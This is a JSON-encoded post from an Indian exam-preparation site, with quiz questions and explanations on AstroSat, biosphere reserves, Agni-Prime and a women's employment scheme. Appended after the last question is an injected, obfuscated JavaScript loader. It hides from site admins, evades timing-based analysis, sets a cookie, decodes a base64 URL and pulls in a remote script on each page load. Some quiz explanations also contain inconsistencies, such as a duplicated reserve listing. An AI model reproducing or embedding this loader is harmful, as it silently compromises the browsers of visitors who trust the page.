AstroSat, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">1. It is the only satellite to study both visible and radio bands simultaneously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">2. It is the only space observatory capable of performing simultaneous multi-wavelength observations from ultraviolet to hard X-rays.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">3. It is the first space observatory placed in a geostationary orbit.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">4. It was the first Indian satellite dedicated solely to earth observation in multiple bands.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(d) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>In NEWS: <\/strong>A decade among the stars: India\u2019s first space observatory AstroSat completes 10 years<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>AstroSat:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li><strong>AstroSat<\/strong> is India\u2019s <strong>first dedicated multi-wavelength space observatory<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Launched by <strong>ISRO<\/strong> on <strong>28 September 2015<\/strong> using <strong>PSLV-C30<\/strong> from Sriharikota.<\/li>\n\n\n\n<li>It observes the universe in <strong>X-ray, ultraviolet, and optical spectral bands simultaneously (not radio waves)<\/strong>.<strong> Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>AstroSat is in a <strong>low Earth orbit (~650 km)<\/strong>, not geostationary. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>AstroSat is an <strong>astronomy\/astrophysics satellite<\/strong>, not dedicated to Earth observation. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Key Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li><strong>Orbit:<\/strong> Near Equatorial Orbit, ~650 km altitude.<\/li>\n\n\n\n<li><strong>Payloads \/ Instruments:<\/strong><ul><li><strong>Ultra Violet Imaging Telescope (UVIT)<\/strong> \u2013 studies star formation and galaxy evolution.<\/li><\/ul><ul><li><strong>Large Area X-ray Proportional Counter (LAXPC)<\/strong> \u2013 timing and spectral studies of X-ray sources.<\/li><\/ul><ul><li><strong>Soft X-ray Telescope (SXT)<\/strong> \u2013 studies supermassive black holes and neutron stars.<\/li><\/ul><ul><li><strong>Cadmium Zinc Telluride Imager (CZTI)<\/strong> \u2013 studies high-energy X-rays and gamma-ray bursts.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Scanning Sky Monitor (SSM)<\/strong> \u2013 detects transient X-ray sources.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>Study <strong>high-energy phenomena<\/strong> like black holes, neutron stars, pulsars.<\/li>\n\n\n\n<li>Investigate <strong>star birth, stellar evolution, and supernovae<\/strong>.<\/li>\n\n\n\n<li>Monitor <strong>active galactic nuclei (AGN)<\/strong> and binary star systems.<\/li>\n\n\n\n<li>Provide <strong>simultaneous multi-wavelength observations<\/strong>, a unique capability among global observatories.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Achievements<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>Detected <strong>ultraviolet light from a galaxy 9.3 billion light years away<\/strong>.<\/li>\n\n\n\n<li>Studied <strong>X-ray emission from Crab pulsar<\/strong> and <strong>polarization of gamma-ray bursts<\/strong>.<\/li>\n\n\n\n<li>Helped in understanding <strong>binary star systems and quasars<\/strong>.<\/li>\n\n\n\n<li>Contributed data to global astronomy missions through collaborations.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. With reference to \u2018Astrosat\u2019, the astronomical observatory launched by India, which of the following statement(s) is\/are correct?<\/strong> <br><br>1. Other than USA and Russia, India is the only country to have launched a similar observatory into space.<br>2. Astrosat is a 2000 kg satellite placed in an orbit at 1650 km above the surface of the Earth. <br><br><strong>Select the correct answer using the codes given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both1 and 2 <br><strong>(d) Neither 1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/a-decade-among-the-stars-indias-first-space-observatory-astrosat-completes-10-years\/article70104675.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/a-decade-among-the-stars-indias-first-space-observatory-astrosat-completes-10-years\/article70104675.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><a><\/a><strong>7. Consider the following biosphere reserves:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">1. Cold Desert Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">2. Seshachalam Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">3. Dehang-Dibang Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">4. Gulf of Mannar Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">5. Achanakmar-Amarkantak Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>How many of the above Biosphere Reserves are recognized by the UNESCO World Network of Biosphere Reserves under the MAB programme?<\/strong>&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(a) Only two\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(b) Only three\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(c) Only four\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(d) All the five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Answer: (b) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cold Desert named India\u2019s 13th UNESCO biosphere reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Biosphere Reserves in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">There are a total of 18 biosphere reserves in India, but only 13 are part of the UNESCO World Network of Biosphere Reserves under the MAB programme. Cold Desert becomes India\u2019s 13th UNESCO Biosphere Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>UNESCO World Network of Biosphere Reserves under the MAB programme:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-131\">\n<li>Nilgiri Biosphere Reserve \u2013 Tamil Nadu, Kerala, Karnataka<\/li>\n\n\n\n<li>Gulf of Mannar Biosphere Reserve \u2013 Tamil Nadu<\/li>\n\n\n\n<li>Sundarbans Biosphere Reserve \u2013 West Bengal<\/li>\n\n\n\n<li>Nanda Devi Biosphere Reserve \u2013 Uttarakhand<\/li>\n\n\n\n<li>Nokrek Biosphere Reserve \u2013 Meghalaya<\/li>\n\n\n\n<li>Pachmarhi Biosphere Reserve \u2013 Madhya Pradesh<\/li>\n\n\n\n<li>Similipal Biosphere Reserve \u2013 Odisha<\/li>\n\n\n\n<li>Great Nicobar Biosphere Reserve \u2013 Andaman &amp; Nicobar Islands<\/li>\n\n\n\n<li>Achanakmar-Amarkantak Biosphere Reserve \u2013 Chhattisgarh, Madhya Pradesh<\/li>\n\n\n\n<li>Agasthyamalai Biosphere Reserve \u2013 Kerala, Tamil Nadu<\/li>\n\n\n\n<li>Khangchendzonga National Park \u2013 Sikkim<\/li>\n\n\n\n<li>Panna Biosphere Reserve \u2013 Madhya Pradesh<\/li>\n\n\n\n<li>Cold Desert Biosphere Reserve \u2013 Himachal Pradesh, Jammu &amp; Kashmir<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Other Biosphere Reserves:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li>Seshachalam Biosphere Reserve \u2013 Andhra Pradesh<\/li>\n\n\n\n<li>Kachchh Biosphere Reserve \u2013 Gujarat<\/li>\n\n\n\n<li>Dihang-Dibang Biosphere Reserve \u2013 Arunachal Pradesh<\/li>\n\n\n\n<li>Dehang-Dibang Biosphere Reserve \u2013 Arunachal Pradesh (sometimes same as above, but listed separately in some sources)<\/li>\n\n\n\n<li>Manas &#8211; Assam<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"506\" height=\"583\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-27.jpg\" alt=\"\" class=\"wp-image-2464\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-27.jpg 506w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-27-260x300.jpg 260w\" sizes=\"auto, (max-width: 506px) 100vw, 506px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. The most important strategy for the conservation of biodiversity together with traditional human life is the establishment of<\/strong> <br><br><strong>(a) biosphere reserves<\/strong> <br>(b) botanical gardens <br>(c) national parks <br>(d) wildlife sanctuaries<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.downtoearth.org.in\/environment\/cold-desert-named-indias-13th-unesco-biosphere-reserve#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/environment\/cold-desert-named-indias-13th-unesco-biosphere-reserve#google_vignette<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><a><\/a><strong>8. With reference to Agni-Prime Missile, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">1. It is an intermediate-range ballistic missile developed by India\u2019s Defence Research and Development Organisation (DRDO).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">2. It has a strike range of up to 2,000 kilometers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">3. The missile is capable of launching from a Rail-based mobile launcher system.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>How many of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(a) Only one&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(b) Only two&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(c) All the three&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Answer: (c) All the three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>In NEWS: <\/strong>DRDO conducts rail-based launch of Agni-Prime missile<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Agni-Prime Missile Successfully Test-Fired from Rail-Based Mobile Launcher :<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-149\">\n<li>Test Conducted By: DRDO and Strategic Forces Command (SFC)<\/li>\n\n\n\n<li>Missile Range: Up to 2,000 km (Intermediate Range)<\/li>\n\n\n\n<li>Launch Platform: Rail-based mobile launcher system \u2014 first-ever launch from this platform. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>Rapid, low-visibility deployment<\/li>\n\n\n\n<li>Cross-country mobility<\/li>\n\n\n\n<li>Test Result: Successful, met all mission objectives<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li>Paves way for induction of rail-mobile launch systems<\/li>\n\n\n\n<li>India joins select group of nations with rail-based canisterized missile launch capability<\/li>\n\n\n\n<li>Road-mobile Agni-Prime version already inducted after trials<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Agni-Prime Missile:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-155\">\n<li>Agni-Prime is an intermediate-range ballistic missile developed by India\u2019s Defence Research and Development Organisation (DRDO). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It has a strike range of up to 2,000 kilometers. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The missile features advanced technology, including improved accuracy and enhanced mobility.<\/li>\n\n\n\n<li>It is designed to be launched from multiple platforms, including road-mobile and rail-mobile launchers.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Key Features and Capabilities<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li>Canisterized Launch: Designed for quick deployment and enhanced mobility.<\/li>\n\n\n\n<li>Enhanced Propulsion: Incorporates advanced composite materials for improved performance.<\/li>\n\n\n\n<li>Advanced Guidance: Features state-of-the-art navigation and control systems for precision targeting.<\/li>\n\n\n\n<li>Strategic Deterrence: Strengthens India&#8217;s credible deterrence capabilities with a flexible and survivable missile system.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. With reference to Agni-IV Missile, which of the following statement(s) is\/are correct?<\/strong> <br><br>1. It is surface-to-surface missile.<br>2. It is fuelled by liquid propellant only.<br>3. It can deliver one tonne nuclear warhead about 7500 km away. <br><br><strong>Select the correct answer using the codes given below.<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/intermediate-range-agni-prime-missile-successfully-tested-from-rail-based-mobile-launcher-system\/article70091825.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/intermediate-range-agni-prime-missile-successfully-tested-from-rail-based-mobile-launcher-system\/article70091825.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>9. With reference to the \u2018Mukhyamantri Mahila Rojgar Yojana\u2019 consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">1. It aims to promote self-employment and small-scale entrepreneurship among women, especially from rural and economically weaker sections.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">2. Women above 25 years, usually below a defined income threshold are only eligible for the scheme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>In NEWS: <\/strong>Modi unveils scheme for women in Bihar, criticises RJD\u2019s reign<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Mukhyamantri Mahila Rojgar Yojana (MMRY):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-171\">\n<li><strong>Mukhyamantri Mahila Rojgar Yojana (MMRY)<\/strong> is a <strong>women-focused employment and entrepreneurship scheme<\/strong> launched by various Indian states (for example, Uttar Pradesh) to empower women economically.<\/li>\n\n\n\n<li>Aim: To <strong>promote self-employment and small-scale entrepreneurship<\/strong> among women, especially from <strong>rural and economically weaker sections<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Provides <strong>financial assistance<\/strong>, skill development, and <strong>subsidy support<\/strong> for setting up small businesses or micro-enterprises.<\/li>\n\n\n\n<li><strong>Eligibility:<\/strong> Women above 18 years, usually below a defined income threshold, and in some cases, members of <strong>Self Help Groups (SHGs)<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Financial Assistance:<\/strong> Subsidy or loan support ranging from <strong>Rs. 10,000 to Rs. 50,000<\/strong> depending on the nature of the enterprise.<\/li>\n\n\n\n<li><strong>Skill Development:<\/strong> Training programs in trades like <strong>tailoring, handicrafts, food processing, and small-scale manufacturing<\/strong>.<\/li>\n\n\n\n<li><strong>Objective:<\/strong> Promote <strong>women entrepreneurship, self-reliance, and employment generation<\/strong>, reducing dependence on wage labor.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. With reference to the &#8216;Pradhan Mantri &#8216;Surakshit Matritva Abhiyan&#8217;, consider the following statements:<\/strong> <br><br>1. This scheme guarantees a minimum package of antenatal care services to women in their second and third trimesters of pregnancy and six months postdelivery health care service in any government health facility<br>2. Under this scheme, private sector health care providers of certain specialities can volunteer to provide services at nearby government health facilities. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2<br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/pm-modi-inaugurates-mukhyamantri-mahila-rojgar-yojana-via-video-conferencing-from-new-delhi\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/pm-modi-inaugurates-mukhyamantri-mahila-rojgar-yojana-via-video-conferencing-from-new-delhi\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>10. Certain species of which one of the following organisms are well known as cultivators of fungi?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(a) Ant<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(b) Cockroach<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\">(c) Crab<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\">(d) Spider<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Answer: (a) Ant<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-180\">\n<li>Certain species of ants, particularly leaf-cutter ants (genus Atta and Acromyrmex), are well known for cultivating fungi.<\/li>\n\n\n\n<li>These ants cut leaves and carry them back to their nests.<\/li>\n\n\n\n<li>Instead of eating the leaves directly, they use them as a substrate to grow a specific type of fungus.<\/li>\n\n\n\n<li>The ants then feed on the fungus, not the leaves.<\/li>\n\n\n\n<li>This is a classic example of mutualism: the fungus gets a stable growing environment, and the ants get food.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements with respect to the Indian Ports Act, 2025: 1. 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